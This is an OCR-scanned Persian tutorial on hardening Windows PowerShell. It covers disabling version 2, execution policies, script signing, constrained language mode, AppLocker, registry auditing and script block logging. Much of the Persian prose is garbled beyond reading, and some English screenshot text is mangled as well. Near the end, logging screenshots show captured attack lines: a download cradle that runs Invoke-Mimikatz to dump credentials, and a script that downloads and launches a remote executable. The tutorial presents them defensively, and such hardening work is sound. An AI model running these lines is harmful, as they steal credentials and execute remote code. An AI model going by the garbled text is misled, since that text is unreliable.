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$PSVersionTable.PSVersion
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L4 CAWindows\System32\WindowsPowerShell\wl.0\powershell.exe

Windows PowerShell
Copyright (C>» 2889 Microsoft Corporation. A1l

PSS C:sUsersswin?>» $PSUersionTable.PSUersion

Minor» Build Revi=zion
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2 Download and Install Updates @

“°|'  Read these license terms (1 of 1)
._"
You need to accept the license terms before instaling updates.

Update for Windows (KB3191566)

WINDOWS MANAGEMENT FRAMEWORK. 5. 1 FOR. MICROSOFT OPERATIMG SYSTEM >
PRODUCTS

PLEASE MOTE: Microsoft Corporation (or based on where you live, one of its affiliates) licenses
this supplement to you, You may use it with each validly licensed copy of Microsoft operating
system products software on which it installs (for which this supplement is applicable) (the
“software”). You may not use the supplement if you do not have a license for the software.
The license terms for the software apply to your use of this supplement. Microsoft provides
support services for the supplement as described at
www.support.microsoft. com/fcommon finternational . aspsx.

Printable version | I Dedine | | I Accept | | Cancel

WMF 5.1 cusi .Y S
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EX Windows PowerShell

indows PowerShell
Copyright (¢G> 2816 Microsoft Corporation. A]

PS C:sUsersswin?> $PSUersionTable.PSUersion

Minor Build Revision

144602 1865

o (Slwyie) 4 Jebygly ¥ U
SOl en sobie nay 09 Bl e 5| ol Sjg0 T (a5 sy a5 Sl oY (B 5k sl ogdle
19,5 oolail (Jo )5l 30 5 sews

Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

\-
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control panel > Programs and Features> Turn Windows-Features on or off
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Windows Features

Turn Windows features on or off

To turn a feature on, select its check box. To turn a feature off, clear its check box. A filled box means that only part of the feature is turned on.

[ .NET Framework 3.5 (includes .NET 2.0 and 3.0)
B NET Framework 4.8 Advanced Services
(= Active Directory Lightweight Directory Services
[ Containers
(=" Data Center Bridging
(" Device Lockdown
(" Guarded Host
O™ Hyper-v
(" Internet Information Services
()" Internet Information Services Hostable Web Core
(7" Legacy Components
B Media Features
O Microsoft Defender Application Guard
[ Microsoft Message Queue (MSMQ) Server
B Microsoft Print to PDF
B Microsoft XPS Document Writer
7 MultiPoint Connector
B Print and Document Services
B Remote Differential Compression AP Support
[ Services for NFS
O== Simple TCPIP services (i.e. echo, daytime etc)
[J=— SMB 1.0/CIFS File Sharing Support
B  SMB Direct
[ Telnet Client
(= TFTP Client
[CI" Virtual Machine Platform
7" Windows Hypervisor Platform
O== Windows ldentity Foundation 3.5
= B Windows PowerShell 2.0
B Windows PowerShell 2.0 Engine
[T~ Windows Process Activation Service
(7 Windows Projected File System
[ Windows Sandbox
7 Windows Subsystem for Linux
()" Windows TIFF IFilter
B Work Folders Client

Y asws PowerShell 4o 5 Jled ps F Sl
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Get-ExecutionPolicy

:b; oslawl BeS) )5.';»..;& )‘ U‘yLSA ]..b 0 p—h‘é}a—' LS")" (SLEWL..M: QSALQ..)‘ ounlive 6‘)4

et-ExecutionPolicy -list

el oad ools iulad O S 0y ol Gzl 29,5

EN Windows PowerShell - O *

ExecutionPolicy

MachinePolicy Undefined

UserPolicy Undefined
Process Undefined
CurrentUser Undefined
LocalMachine RemoteSigned

22! bl olos sunlice & JSb

g g0 oolaiwl 3 jeiws 5l ol Caslew o ss 6l

Set-ExecutionPolicy "policy-value"

iged 5l
Set-ExecutionPolicy AllSigned

:4.39&.3 Lg‘)" 0)5 oolazwl —SCOPG ).».e‘)b )‘ )93...».) U”‘ B U‘?"LSA @l?‘ wL».w 03 gt u.».».u ‘5|))

Set-ExecutionPolicy AllSigned -Scope CurrentUser
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Jdo Restricted ol jo ] onid 1] con Sl clls g0 2 50 sl ool ools inled £ S j0 oald aiys
pas Jdo con Sl ais Lasl AllSigned cdl> 4o 5 a0 oSl Gzl (IS og Jledpé ass 12
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C:sUsersswin?Desktop? .“myscript.psil

C:sUserssuwin?sDesktop? Set—ExecutionPolicy —-ExecutionPolicy AllSigned —Force
C:sUserssuin™ Desktop? .smyscript.psl

restricted g allsigned o, Conwlow g0 gty & K&
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g5 ;L Group Policy Editor U o4 o,l5 «gpedit.mscy ;oo ¢ Jijsb b ole,d o> 5

Computer Configuration > Administrative Templates > Windows Components > .o 4 42>l Y

Windows PowerShell

Dwled (g0, ;0 L g 00,5 SIS ,Lgo Turn on Scrip Execution 455 (59, Cawly Cows 0ymiy ;o Y
b ol Enabled 4 38 oulds oolo

(Y JS8) 0,5 auls g bl 1) Allow only Signed Scripts sl Execution Policy sl )l o ¥
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R on e Seten Previous Setting  Next Setting
O Not Configured ~ Comment: ‘
© Enabled
O Disabled |
Supported on: At east Microsoft Windows 7 or Windows Server 2008 family ‘
Options:

Help:

Execution Policy. |ASow only signed seripts This policy setting lets you configure the script execution policy, controlling which scripts are allowed to run.

If you enable this policy setting, the scripts selected in the drop-down list are allowed to run.
The "Allow only signed scripts” policy setting allows scripts to execute only if they are signed by a trusted publisher.

The "Allow local scripts and remote signed scripts” policy setting allows any local scrips to run; scripts that originate from the Intemet
must be signed by 3 trusted publisher,

The "Allow all scripts" policy setting allows all scripts to run.
If you disable this policy setting, no scripts are allowed to run.

Note: This policy setting exists under both “Computer Configuration” and "User Configuration” in the Local Group Policy Editor. The
*Computer " has over "User C: Y

If you disable or do not configure this policy setting, it reverts to a per-machine preference setting; the default if that is not configured is
“No scripts allowed.”

Turn on Script Execution g jbw Jleé .Y o
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P Sl gLl 5y (295 uadgi Jodl jgws

X9 i ;S g S5l 5 S 90 51 S ok I windows SDXK el (sl o lazl o )

o https://developer.microsoft.com/en-us/windows/downloads/sdk-archive/

o https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/

o C:\ProgramfFiles\Microsoft SDKs\Windows\vv.\00000

Certificate™
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C:\Program Files (x86)\Microsoft SDKs\Windows\v70.0A\bin\

System Properties

Computer Name I Hardware | Advanced |System Protection I F{Bmute|

Envircnment Variables P
' ’
Edit System Variable S
Variable name: Path
Variable value: -am Files\Microsoft SOKs\Windows w7, 1\Bin
OK ] | Cancel
h

System variables

Variable Value g
s Windows_NT
Path C:\Windows\system32;C: \Windows; C:\,...
PATHEXT .COM;.EXE;.BAT;.CMD; VBS; VBE; . J5;....
PROCESSOR_A... x856 i
New.. || Edt. || Delete |
- | OK | | Cancel |

s sbpmo (5la yuiiia & SDK (399381 A JSi

2gh Ll el plgie 450 Jyl Camsbioe G Y

el e CA S ool (6l ) yews Glzl gow al> 0

makecert -n "CN=PowerShell Local Certificate Root" -a shal -eku 1.3.6.1.5.5.7.3.3 -r -sv root.pvk root.cer -

ss Root -sr localMachine

D9 plad cwlie j5ue joy (pogas adS Gl p Canlise (§98 H5wd Gl O

g0 1yl L3 al> o )0 0als olowl CA 5l oolaiul b 218 oloml gl 1) 5 jeiws gl b 7
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makecert -pe -n "CN=PowerShell User" -ss MY -a shal -eku 1.3.6.1.5.5.7.3.3 -iv root.pvk -ic root.cer

D9 oo Sy 0 pogas 0l 5o ja) loazme > el 0 Y

L1y ogs Sl o 00 Sl Canly oo Coles ;0 09h o0 0gh Can Sl slanl (gl S5 5 590 (255 S 5 cpl @
i Lzl 25 ol i sl o3 jplite cpl dy 0,5 cliael o algs calsS 5l oolizl

$cert = Get-ChildItem -Path Cert:\CurrentUser\My -CodeSigningCert

wLo.s ooy Lol w)iw‘ 4)9.9.: 1 J&w 5 Ll 00 LAl sw)_iw‘ as QWLSA ounlive )93.~J») U"‘ Lg‘)'>‘ )l o=

Sl 00 00l

File Edit Format View Help

wr1te Host 'script is running!’ -BackgroundColor Black -ForegroundcColor yellow
SIG # Begin signature bloc

MIIEMwWYJKOZ IhvcNAQCCOIIEIDCCBCACAQEXCZAIBgUr DgMCGQUAMGKGC 1 SGAQQBE
gjcCAQSQWZBZMDQGCiSGAQQngcCAR4wJEIDAQAABBAFZDthUSITrcszYpvaR
AQEAAQEAAQEAAQEAAQEAMCEWCQYFKwA DAROFAAQUWQ§ 9HL i NdXZQEMM590zTukj2
5gKgggISMIICOTCCAaagAWIBAGIQY g3xcrRNGKIIMCPSCQIr 3DAIBgGUr DgMCHQUA
MCwWXKJAOBGNVBAMTIVEvd2VyU2hTbGawgTGI jywwgQ2vydGImawnhdGUgumdvdbae
FwOyMJEWM JIWOTIONTIaFw0zOTEYMZEYMZUSNT 1 aMBOXGDAWBGNVEAMTD1Bvd2Vy
uZhlbGwgvxNlcjcBnzanBgkghkiGIw0BAQEFAAOE jOAWGYKCOYEATF4569 k9w1M
5annEK¢5xqupefem1dPADH?9+F2x1L1+tfwvHHE3618me3xBSbv31N/xnhEFEE
cpscQtyLFpuKiotyAlvdwziov2rBNrhuBchCyPBATREZ 1 xD1vSwlvkNWpSTAURR
efdd,/Dpsk+hywdEgIHsrbINkd chrocsCAWEAAGNZMHQWEWYDVRO 1 BAWWC QY TKWYE
BQUHAWMWXQYDVROBBFYWVIAQSUT ] 2F6TGTUOURXDOWIASEEUMCWRK JAOBGNVEAMT
IvBvd2vyuzhlbawgTad i Yiwwgl2vydaImawnhdeugum9vdIIQ7 YzztqidZKpDRARZ
QG207 DAJBQUr DQMCHQUAALGBACK995+rxZ3eMBB6BTGd+0F jDT14NZINC+WUXUY X0
g2ZN+AmMBY P/ ae+74uHL7ram]G2bMpxM S5k xB4UUNDUNZOekvgIkqIXE7 I6TLSF+9b
SwodtmNwdFuBdct60g+Jacjgxe3wamSySNAGOPRXZEWPGUr B1lZg7 POQZ /mIs2r7
VEXWMYLBYDCCAVIWCAQEWODASM SOoWKAYDVQODEYFQb3d1 c TNOZWXSIEXVY2ZFSIEN
cnRpZm] jYXR1IFIvb3QCEOGTEXKOTe115DHDOgkCadwwC QY F Kiwd DANOFAKBAMBQG
CisGAQQEQ] cCAQwxC JATOAKAAKEC QAAWGQY JKOZ ThycNAQKDMOQwGC 1 s GAQQEgJ cC
AQOWHAYKKWYBBAGCNWIBC ZEOMAWGC 1 5GAQQEQ] CCARUWIWY JK0Z ThvcNAQKEMRYE
FFXtD9zLWEBb10xb+Xqjnd LpVSGNEMADGC 5G5S Ib3DQEBAQUABIGASAU /NASPTkMO
DN9ubg6EMLPLPO++UWNIJ4TIS7 SUZ7HdepPtW2atV+63MbcNdIDrHrouCQd KnkTm
p85190WeSyYUokLDSppS3bZS1dCMHokZ oAk ZMWGS 1 XWF U2 ZP NKGLOdWE qDwvyxX\Vu
nErﬁchucdiXIszAder?iElleaM4=

SIG # End signature block

ECECECECECE R R TR CE TR TR TRt ot S T R R R

ool sbdol oy Sl . Q4 STl

(Vo JS8) 05 Ll codibge L ALCSigned o) 2 cosliw 5o 1) oud Lasl oy Sl (s oo wd 5 ol &0
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P§ C:\Hindows\systemd2} Set-ExecutionPolicy -ExecutionPolicy A113igned -Force
PS C:\Hindows\systemd2} cd C:\Users\win?hDesktop
PS CisUsershwinDesktop? .\myscript.psl

Do you want to run softvare from this untrusted publisher?

File C:\lUsers\win™Desktopsmyscript.psl is published hy CN=PowerShell User and
is not trusted on your system. Only run scripts from trusted publishers.

(U] Never pun [D] Do not pun [RI Run once [A] Alvays pun [7] Help

(default is "D"):R

Script is running!

AllSigned cdls ;o oudls sbanl Cog ySewl gl ! ) S0

b b alss o Jesdligios @zl Gl ol Ve eang 0 (1S adg sl ooy Ry Jerlligies
Trusted Root 4 Trusted Publishers store [Personal certificate store . «. ,» TESTCERT

Sgb oo 035 g ole| Certification Authorities

tJond| y g d

25 3l ol ST cw s s PowerShell o, lal )
gl D>l Joygb 50 p5 sleygiws Y

$authenticode = New-SelfSignedCertificate -Subject “TESTCERT” -CertStoreLocation Cert:¥LocalMachine¥My -
Type CodeSigningCert
$rootStore = [System. Security. Cryptography. X509Certificates. X509Store] : :new(“Root”, “Loca IMachine”)
$rootStore. Open (“ReadWrite”)
$rootStore. Add ($authenticode)
$rootStore. Close ()

$pub| isherStore =

[System. Secur ity. Cryptography. X509Certificates. X609Store]: :new(“TrustedPublisher”, “LocalMachine”)
$pub| isherStore. Open (“ReadWrite”)

$pub| isherStore. Add ($authenticode)

$pub| isherStore. Close ()

2 slegiws Qly’@ Gmljf sbu! Coms gy &l el ous ol s“"?f (398 Joddlygws gl >l 5l e
5,5 oolaiul
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Get—-ChildIltem Cert:¥LocalMachine¥My | Where-Object {$_.Subject —eq “CN=TESTCERT"}
Get—Childltem Cert:¥LocalMachine¥Root | Where-Object {$_.Subject —eq “CN=TESTCERT"}

Get—-ChildIltem Cert:¥LocalMachine¥TrustedPublisher | Where-Object {$_.Subject —eq “CN=TESTCERT"}

9 SUbjeCt J.QL...: 6.@‘95 Sl gJiu u.\l 5 RO B SWRPRI R L)“"L"" V) Ji.u 5 LQ)B.L»Q 6‘)?‘ 9
el sasline 6 Thumbprint

PS Cert:“CurrentUsersroot? Get—ChildItem Cert:“LocalMachinex~My | Where—-0Object {5_.Subject

PSParentPath: Microsoft.PowerShell.SecuritynCertificate::LocalMachinexMy
Thumbprint Subject
481841 B1 DAA? 70841 CC68C32CA1372EDDBBEE3BC  CN=TESTCERT

PS Cert:“CurrentlUsersroot? Get—ChildItem Cert:“\LocalMachine~Root | Where—Object {5 .Subject

PSParentPath: Microsoft.PowerShell.SecuritysCertificate::LocalMachine“~Root
Thumbprint Subject
4816841 B1DAA770B41 CC68C32CA1372EDDBBEE3BC  CN=TESTCERT

PS Cert:“\CurrentUsersroot> Get—ChildItem Cert:“\LocalMachinesTrustedPublisher ! Where—Object {%_.Subject
>
PSParentPath: Microsoft.PowerShell.Security~Certificate::LocalMachine~TrustedPublisher

Thumbprint Subject
4B1041B1DAA77BB41CC68C32CA1372EDDABEE3BC  CN=TESTCERT

SIS Bso a5 N UK

o le o3Y ol ygiass 0,8 ooliiul o syl 815 5l b Sl (30,8 Laaal (el yy g oo >

$codeCertificate = Get-ChildItem Cert:¥lLocalMachine¥My | Where-Object {$ .Subject —eq “CN=TESTCERT”}
Set-AuthenticodeSignature —FilePath E:¥myscript. ps1 —Certificate $codeCertificate

el oa ools i lad VY USKS jo jetws Glzl (g5 09d oo Lasl cuddge b s Sl (ygiws ol syl 5l e
PS C:s\Windowsssystem32> Set—fAuthenticodeSignature E:smyscript.psi ScodeCertificate
Directory: E:%\

Status

41B1041B1DAA770B41CC68C32CA1372EDDBEEE3BC  Valid myscript.psl

S ySwl (38g0 (gLl NY JSCh
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gl 3 1521 B oy 9 Giluogama  V-T-Y
ool Cl «ComstrainedCanguage» <> & Language Mode wlas « Lo,0b el slapjulse | S

uo)ﬁuw.u oI B JA?’“LSA ‘)>| J.w)jl.s Ja.wy as Q}w‘sa oolazw! Gu)wo &9.: uo; Sgdso 6‘13 o>

3 oyl o gl § aly sled Cdls ol jo as ol «Full fanguage mode» jlaie (anguage Mode
A (s

ioleyd s @2 b 5l Josdlygiws (sl 2!

13505 o)y |y piaw Language Mode oo 55 jgiws loslaiwl b e oo ol N

$ExecutionContext.SessionState.LanguageMode

139 oals o5 ConstrainedLanguage 4 Language Mode sl oo .Y

$ExecutionContext.SessionState.LanguageMode = " ConstrainedLanguage "

el oo 00ls il CONStrainedLanguage cdl> o S Jld 5l o g i jgiwd SO gl glas VY S o

¥ Windows PowerShell [-= [ ] [

cutionContext.SessionState. LanguageMode= "Constrainedlangu

T(64)

J059b 50 12l BB Hgiuws £95 (2,5 dgue IY S
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‘Environment Variable & b ;| s3lwogum

Edit System (goony 4 Gading Seies 0 emvironment» g i,k )l cewl lal )

OF US5) 0900 dazl o Envivonment Variables

System Properties >

Computer Name Hardware Advanced  System Protection Remote

You must be logged on as an Administrator to make most of these changes.

Performance
Visual effects, processor scheduling, memary usage, and virtual memory

User Profiles
Desktop settings related to your sign4n

Settings...
Startup and Recovery
System startup, system failure, and debugging information
Settings...
»‘ Environment Variables... |
QK Cancel Apply

RCSWUSWIEPYE S PP TV LRRST VIR g [

L. JSK2) o5 adlsl § jlade g PSLockdownPolicy ol b syos  cotinew oo piiio SO g Y
full language <> 4 5L gly 0gi o0 olas constrainedLanguage cJl> a4 Ji sl I8 oyl

D9d palais Al PSLockdownPolicy  ,lade caly oo
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Environment Variables | By |

Mew System Variable ﬁ

Variable name: __PSLockdownPalicy
. ]

Variable value:

4II_
[ o

System variables

Variable Value

_ PSLockdownP... 4 E

ComSpec Ciiwindows\system32\cmd. exe

FP_NO_HOST_C... NO

NUMBER_OF P... 1 -
G e o

[ oK ” Cancel ]

haxo by o jleolawl b J )9l (g3lwoguzxe VO S

APPLOCRRY ;I 03lisiw! b oy Sl 5lwdgaze V-V -F

el ool dns Yo joding o aS caul )5 baugs b LB g basly lz! S gl slasl s AppLocker

ials8 ol so Sl 555 Sg0ns (5l 31 | s 55 Lzl B slacan Sl oelas oo lils AppLocker

B o ol 50 aal asils 1zl ojlal dadsl p (slag,655 plo b g je0ing e 5l LS aces Sl b wgd iy yos

Sl Ty s b s g 0,3 Glley ol IS

: Jodl g

D90 Ll sl s 5o 055k le s bas canglige bl )

SN IPCOWSURINGI VIR PRS- WA VIR W I JEA s c e xe config appidsve start= aut o -uReewin

wigd Jloel ool iy s

¢ 3L Group Policy Editor b s o,y «gpeditmse» jgiws « fo,qb b lo,d las o ¥

Computer Configuration > Windows Setting > Security Setting > Application . a .f

D¢ 4zl ,0 Control Policy > AppLocker
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39k g Jole pumw 50 Juby9ly (55w ool slosal

3k e g Glg o Al e pl Ho 0ed sl SIS Seript rules 43S (g5, Coly Cons 0y 0 0

Gl el (a0 sbml s ool L oS eslitd B e olsd

2, 0925 5 asn sl Program Files 3 windows sle ,aJgd s 10 34290 slaces Sl

=[ Local Group Policy Editor
File Action View Help

= nF = HmE

=[ Local Computer Policy
~ & Computer Configuration
[ Software Settings
~v [] Windows Settings
[ 1 Name Resolution Policy
|| Seripts (Startup/Shutdown)
= Deployed Printers
v i_n, Security Settings
"4, Account Policies
"4 Local Policies
] Windows Defender Firewall with Advanced Security
| Network List Manager Policies
[ 1 Public Key Policies
| Software Restriction Policies
~w [ ] Application Control Policies
v @ Applocker
7 Executable Rules
Windows Installer Rules

5 Script Ruler
[ Packaged 2 Create New Rule...

v %, User Configuration
[ Software Settings
] Windows Settings Help

Export List...

,g IP Security Policies Automatically Generate Rules...
[] Advanced Audit P Create Default Rules
wll Policy-based GoS
1 Administrative Templates View

|| Administrative Templates

AppLocker ;o 398 G 25 NP S

Semlion OPB Gy ol aloge 0 05 sl s ol Gl oe (88 i P 5 eoliial p egdle
Sl Gals o3lal  ceslow a5 05 el el oo Guimred 9l Jleel I slaST gl g8l aS 0l asis

a0 AppLocker | piw S a5 Cawl Gy ol ISS 0 5588 (Demy) 0,5 ggiee L (Allow)

it [l jloxe ol ouls bt sladsl p fasd a5 ol auS oo oolaisl Allow Mode
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Create Script Rules

Permissions
—

Before You Begin Select the action to use and the user or group that this rule should apply to. An

allow action permits affected files to run, while a deny action prevents affected

Conditions files from running.
Publisher
Exceptions Actions
e @® Allow
O Deny

User or group:

| Everyone Select...

s (96 iy 5 50 Jl Al o IV S

Create Script Rules

Conditions

Before You Begin

Permissions

Select the type of primary condition that you would like to create.

Path
Exceptions (O Publisher
M Select this option if the application you want to create the rule for is signed by the
ame

software publisher.

@ Path

Create a rule for a specific file or folder path. If you select a folder, all files in the
folder will be affected by the rule.

() File hash

Select this option if you want to create a rule for an application that is not signed.

ooy Syl yoilB 95 NA S

Create Script Rules

Path

Before You Begin

X Select the file or folder path that this rule should affect. If you specify a folder path, all files
Permissions underneath that path will be affected by the rule.
Conditions
N Path:
Exceptions
Name ‘

Browse Files... Browse Folders..,

b Sl Glya ] oo mand IR JSC0
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odls iy ya5 “eiltrusted’ e 3l Laid lay Sul slml 4 pjgmme lp el S Y S )0 diges lgie &

o

5[ Local Computer Policy Action User Marne Condition  Exceptions

v i Computer Configuration W Allow  Everyone %0SDRIVEZa\trustedh™  Path
| Software Settings
~ [] Windows Settings
| Mame Resolution Policy
(=] Scripts (Startup/Shutdown)
= Deployed Printers
v T Security Settings
‘4 Account Policies
4 Local Policies
"~ Windows Defender Firewall with
| Network List Manager Policies
| Public Key Policies
| Software Restriction Policies
w || Application Control Policies
v E ApplLocker
7] Executable Rules
Windows Installer Rules
=] Script Rules

oab iy y25 (398 Sy AigaiY e JSCb
el sbewbow jl sl V-Y-0
prle b asS (g, | LaJ Qilgs oo plgee a5 el goaxie sl Sl Sledais ol jguing (6
eg group policy ;o5 550 slp o 5l Wlgice plee o (Jlie Glyie 4 aish 4283 0npol poe (bl slo

bt ol ) 095 000 Y (5 (63l g5 Callad 3l g S5k SlacSY 0,58 00,5 walits o, e b S ool

odds ppbais slacinliw b g o (6 e ) S (6l e 9 958 (55l JLd Registry Auditing ool o3V ol
25 desllygins Bk (lg5 oo Registry Auditing 5l Jld jslaie 4098 oolais p3Y (slo o s J 5L s

: oty g

59 3L Group Policy Editor b s o lg «gpeditmsey jgiws o Ji,0b b leyd s o )

Computer Configuration > Windows Setting > Security Setting > Advanced ,oe 4 .Y

D05 dexl o Audit Policy Configuration >System Audit Policies > Object Access

ooly ioles (60,50 40 L 9 00,5 S Lo Audit Registry can S (59, Cunl) oo g0y 0 Y

Dgd ol Success w9 Configure the following audit events a5 ool

)5 Ll ) QUIIRIE (ooos Casly oo cules o F
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£ Loca
File Action View Help
=55 =]

| Seripts (Startup/Shutdown)

= Deployed Printers

=, Security Settings

> (& Account Policies

> [4 Local Policies

> [] Windows Defender Firewall with Advanced Security
] Network List Manager Policies

> [7] Public Key Policies

» [ Software Restriction Policies

> [] Application Control Policies

> 8, IP Security Policies on Local Computer

~ [ Advanced Audit Policy Configuration
~ 18§ System Audit Policies - Local Group Policy Object

Account Logen

Account Management

Detailed Tracking

DS Access

Logon/Logoff

Object Access

Privilege Use

System

> 5 Global Object Access Auditing

> gl Policy-based QoS

v [] Administrative Templates

» [ Contrel Panel
© T Mebwnrl

< v

Subeategory

i Audit Application Generated

15 Audit Certification Services

%] Audit Detailed File Share

%] Audit File Share

5] Audit File System

] Audit Filtering Platform Connection
%] Audit Filtering Platform Packet Drop
i Audit Handle Manipulation

] Audit Kernel Object

5] Audit Other Object Access Events
% Audit Registry

T AT Removable Storage

5] Audit SAM

4] Audit Central Access Policy Staging

Audit Events

Not Configured
Not Configured
Not Configured
Mot Configured
Mot Configured
Mot Configured
Not Configured
Not Configured
Not Configured
Not Configured
Mot Configured
Mot Configured
Mot Configured
Mot Configured

— [m] bd
try Properties X
Policy  Explain
é Audt Registry
18 Corfigure the following audt everts
@ Success
(0 Faiure
oK Cancel Apply

Audit Registery gjlw Jlxd .¥) JC&

55 o3l 5 Jaallygios b
: oty g

Sgb oyls "regedit" ojle Lo, L pleyd s o )

HKXEY_LOCAL MACHINE > SOFTWARE > Policies > Microsoft > Windows > e &

Bgd dzzl 0 PowerShell

GasS oad b goxy o Permissions g4 S &b 3l g 005 cl, SIS PowerShell (g4,

o5 bl |y Advanced

B8 ol Add s ;5 Auditing cwond R o 3b o,y 4o

I, Delete 4 Set Value Query Value slaas 5 Everyone sl Principle ol b

5,5 bl
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[ Computer\ HKEY_LOCAL MACHINE\SOFTWARE\Policres\Microsoft\ Windows'\ PowerShel

Cryptography
PeerDist
Peernet

A 1| Name
45 (Default)
5 EnableScrpts

Data

(value not set)
0000001 (1)

REG_SZ
REG_DWORD

Power
SystemCertificates
™™

v | Windows

b ExecutionPolicy REG_SZ RemoteSigned

AppPrevacy
Appr

TS
CurrentVersion
DataCollection
OrnvesSesrchung

Secuty
Group or user names
& ALL APPLICATION PACKAGES
551 5-1-15-3-1024-1065365536- 128 1604716-3511 7384281654
EnhancedStoragel R Asherticated Uses
Eventlog & SYSTEM
Fa AR Admnetraton (WIN1D-1803 EN Advwetraton)
PSec
Network Connect:
NetworkConnects .\
NetworkProvider | AppICATION PACKAGES Hom Deny
Onsthone Full Cortro O ]
v PowerShell
ScriptBiocklog p"” 0
Transcription T p—
safer
SettingSyne
SpV2
System
WemSve
Windows Search
WindowsUpdate oK
WinRM
Wireless
Workplacelon
WSDAP!
Windows Advanced Threst Protection
Windows Defender
Windows NT
Windowsfrewall
WindowsStore
Mozilla

Advanced Security Settings for PowerShell

Owner. W&m

a4 Remove Permasions Auditing

Effective Access

For additional information, double-click an sudet entry. To modify an sudit entry, select the entry and ciick Edit (f available)

Audting entnes:

Type  Principal Access Inherited from Applies to

For special pemmemions or advanced seings

chck Advarced .

Disable nhentance

[[] Reglace all child obyect auditing entnies with inherftable auditing entries from this object

Registry Key &y o yawd o YY 2

Auditing Entry for PowerShell [u] x
Principal  Everyone Select s principal
Type Success v
Applies to:  This key and subleys -
Advanced permissions: Show basic permis
Full Control [] Create Link
[FQuery Value [ Delete
] Set Value [] Write DAC
=
[J Create Subkey ] Write Owner
[] Enumerate Subkeys Read Control
[ Netify
[T] Only apply these auditing settings to objects and/or containers within this container Clear all
o] e

Registry Key ay gw ypwd oy YT S0
b 3l @l slecwlon 35 595 Gl )3 485 &0 e Sl plE o (G50 Slelas Jleel 5l
JB FPEY 5 F78- FPOV FPOF  laawlis L SY (pl oS caslin LY o, g, glaads o s
Foysl o 5 seiws jl eolainl b o 770 5 FPOV slaanlis glls Slo ojlse o Ol s aus cvnliv

el o o3ls ialed YE SIS 5 g, ol b oot (5 5laem sSY 5l slaiges 5,8 oomlin |, Yl ol s

Get-EventLog -LogName Security -Source -
Instanceld
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Windows\system32> Get-EventlLog

Index
EntryType
Instanceld

Message

Category
CategoryNumber
ReplacementStri
Source
TimeGenerated
Ti Iritten
UserName

Index
EntryType
Instanceld

Message

52024
SuccessAudit
4660

Subject:
Security
Account Name:
Account Domain:
Logon ID:

Object:
Object Server:
Handle ID:

5999 Jolepiman )0 b 53l (s3lwirel sloal,
]

Security

: An object was deleted.

$-1-5-18
WIN10-1809-EN$
WINDOWSPRO

Ox3e7

Security
Ox171c

Process Information:

Process ID:
cess Name:

saction ID:

5-18, N10-1809-EN$, WINDOWSPRO, ©x3e7.
: Microsoft-Windows-Security-Auditing

0x2d0

C:\Windc \System32\svchost.exe
{ 00000000 - 0000 - 0000 - 0000 - 500000000000 )

12/15/2019 1:54:07 PM
12/15/2019 1:54:07 PM

52021

SuccessAudit

4657

A

A registry value was modified.

4657.4660 | fl

LS);*Mﬂ‘?) )é )¢¢§3 LgUng“Y Lso~UbL$~o. Y*:‘}Sui

LSY gylans V-V

osliiwl sguw awid jekiie 450 .8 o )8 colatuwl s 3550 lozlpe Oz 5l (g s jo &S Cnl ()15l 55l
45 e 05,5 wal SWMF 51 0 5 F (lacsuns gy |, Y 0,53 curlls g Solo wilizes Slas 4o L5l
P 2Bl Dygo a Sl ! oS gyglae |y sad Ll slacs Sl g Oljgiws pled olgs oo o] 5l eolaiwl b
o Foy9l Sl yigrds iy 0ol S5 Jealljgws G Cusli oo ¥ j9ang )l Lol el oolanl LB V- jgag
A syl ] 0e gl aseud

20,5 05633 | Lol GSY g oo Cilites gt dns 4
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3 boled Ssrld g bpite adsl (s lade @ g2y S Sk sy (ol 5> Module Logging  ©
;oaﬁv B e <>l laces Sl 51 Sledbl jogy ol jo izred S o 5,0 Y ) T2l Job
)\) \ARAS ML»...J L: \.\.19..»640 OIA}\) ws) L),s‘ L’ 45 L;;me}/ "\"WLSA Ja.uo ‘5>5).> Lngoé‘\) )‘ L5>).: W

A oddlie b 50,53 jeaisg event viewer

Oyl Wgd oo 0,0 2]l jo i gl oS slaSsh eled is, (nl o Script Block Logging o

S dan by, ol o aizmed Migh so bt BaislS das 5 Ly Sl U5 Jolt oS LIS lsime oo
&,13505 Base64 o 650l 5l eoliiwl b (508 4S5 S0 50 diges slp gd oo aos o de-obfuscate
,» Module 10gging iy, M55 04 oo daes Lzl loj j0 sais HlaSaS 2y oo Sl il oo
30 ply oplal aniay 5l slas ) o3lail a5 g 50 0sd el hans oo 12l Con Sl 25,5 g, 0
Gy onl o edle 4 b (silulaz slas, cpaiz a4 slas, by, onl 0 b 1k event log
5 &0 pSY WarnINg mhaw ,o wisl asl callhe Selin glbolS jI cud L aS Slasles,
oS gy cpl b aS SSY wigh e (5,0 p Y Verbose L information zhw o Jby sy
4SOl Oyge o aiies soalie JB g 033 j9ang BVENT VIEWEr ,o F1-F aulis b wigh oo
g o 0,33 FVF 5 FV 00 sloanlis L aSY pl aSY (5,5lae> sl Start and Stop Events

sl 00 00l u*“l-"-’ \i4 9 Yo ‘_ngJiu FERETY u.’l EVR W) o).z_">.') ‘_;Lmjy )| L;‘A;y.u

De-obfuscated®
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Event 4104, PowerShell (Microsoft-Windows-PowerShell) x

General Details

IEX (New-Object Net.WebCli
DumpCreds

ent).DownloadString(‘http://bit.ly/ IN83FXO'); Invoke-Mimikatz -

ScriptBlock ID: e4a40651-7ead-4e0a-b109-5c85b9089203

Path:
Log Name: Microsoft-Windows-PowerShell/Operational
Source: PowerShell (Microsoft-Wind Logged: 8/12/2020 2:43:24 PM
[Event 1D: 4104 ] Task Category: Execute a Remote Command
Level: Verbose Keywords: None
User: W wem1\Vibe Computer: e -
OpCode: On create calls

More Information: Event Log Online Help

Script Block Logging gl ;o ales wledMbl sualine YO i

W Event Properties - Event 4104, PowerShell (Microsoft-Windows-Powershell)

General | Details

Creating Scriptblock text (1 of 1):

SAD= Senv:USERPROFILE; Sb= get-random(10000..939959); (New- ObJect

System.NeT . WebClieNt) Downloadfile( hitps://sayitrade.com/cub bin®, "SAD\Sb.cab ") expand SAD\Sb.cab
Senv:USERPROFILE\rev.exejout-nullStart-Process SAD\rev.exe;Remove-ltem SAD\SD.cab

ScriptBlock 10: 3263bad1- 1bf6-4490-852d- 76¢ S8ecasad?

*
[¢]

Log Name: Microsoft-Windows-PowerShell/Operational
Source: PowerShell (Microsoft-Wind Logged: 3/3/2017 T.00:53 AM
Event ID: 4104 Task Category: Starting Command
Levek Verbose Keywords: None
Usen Computer:
OpCode: On create calls
More Information:  Event Log Online Help

Copy Close |

Script Block Logging .Y# s

